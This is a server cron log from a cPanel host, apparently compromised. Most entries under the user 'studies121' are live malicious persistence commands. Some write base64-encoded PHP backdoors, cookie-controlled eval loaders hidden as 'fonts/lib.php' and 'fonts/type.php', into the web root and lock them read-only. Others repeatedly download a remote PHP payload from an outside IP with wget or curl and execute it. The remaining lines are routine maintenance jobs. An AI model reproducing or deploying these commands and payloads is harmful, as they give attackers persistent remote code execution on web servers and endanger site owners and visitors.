Sep  8 03:47:01 ip-184-168-122-23 CROND[4090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:48:01 ip-184-168-122-23 CROND[4196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:48:01 ip-184-168-122-23 CROND[4200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:48:01 ip-184-168-122-23 CROND[4199]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:48:01 ip-184-168-122-23 CROND[4201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:48:01 ip-184-168-122-23 CROND[4198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:49:01 ip-184-168-122-23 CROND[4305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:49:01 ip-184-168-122-23 CROND[4308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:49:01 ip-184-168-122-23 CROND[4309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:49:01 ip-184-168-122-23 CROND[4307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:50:01 ip-184-168-122-23 CROND[4517]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 03:50:01 ip-184-168-122-23 CROND[4520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:50:01 ip-184-168-122-23 CROND[4521]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:50:01 ip-184-168-122-23 CROND[4522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:50:01 ip-184-168-122-23 CROND[4525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:50:01 ip-184-168-122-23 CROND[4526]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 03:50:01 ip-184-168-122-23 CROND[4527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:50:01 ip-184-168-122-23 CROND[4528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:50:01 ip-184-168-122-23 CROND[4530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:51:01 ip-184-168-122-23 CROND[4643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:51:01 ip-184-168-122-23 CROND[4644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:51:01 ip-184-168-122-23 CROND[4646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:51:01 ip-184-168-122-23 CROND[4647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:52:01 ip-184-168-122-23 CROND[4776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:52:01 ip-184-168-122-23 CROND[4778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:52:01 ip-184-168-122-23 CROND[4780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:52:01 ip-184-168-122-23 CROND[4781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:52:01 ip-184-168-122-23 CROND[4779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:53:01 ip-184-168-122-23 CROND[4892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:53:01 ip-184-168-122-23 CROND[4891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:53:01 ip-184-168-122-23 CROND[4894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:53:01 ip-184-168-122-23 CROND[4893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:54:01 ip-184-168-122-23 CROND[4996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:54:01 ip-184-168-122-23 CROND[5000]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:54:01 ip-184-168-122-23 CROND[4999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:54:01 ip-184-168-122-23 CROND[4998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:54:01 ip-184-168-122-23 CROND[5003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:55:01 ip-184-168-122-23 CROND[5174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:55:01 ip-184-168-122-23 CROND[5175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:55:01 ip-184-168-122-23 CROND[5179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:55:01 ip-184-168-122-23 CROND[5176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:55:01 ip-184-168-122-23 CROND[5178]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:55:01 ip-184-168-122-23 CROND[5177]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:56:01 ip-184-168-122-23 CROND[5297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:56:01 ip-184-168-122-23 CROND[5298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:56:01 ip-184-168-122-23 CROND[5300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:56:01 ip-184-168-122-23 CROND[5299]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:56:01 ip-184-168-122-23 CROND[5301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:57:01 ip-184-168-122-23 CROND[5424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:57:01 ip-184-168-122-23 CROND[5425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:57:01 ip-184-168-122-23 CROND[5426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:57:01 ip-184-168-122-23 CROND[5428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:58:01 ip-184-168-122-23 CROND[5504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:58:01 ip-184-168-122-23 CROND[5506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:58:01 ip-184-168-122-23 CROND[5507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:58:01 ip-184-168-122-23 CROND[5508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 03:58:01 ip-184-168-122-23 CROND[5505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:59:01 ip-184-168-122-23 CROND[5641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 03:59:01 ip-184-168-122-23 CROND[5644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 03:59:01 ip-184-168-122-23 CROND[5643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:59:01 ip-184-168-122-23 CROND[5645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:00:01 ip-184-168-122-23 CROND[5836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
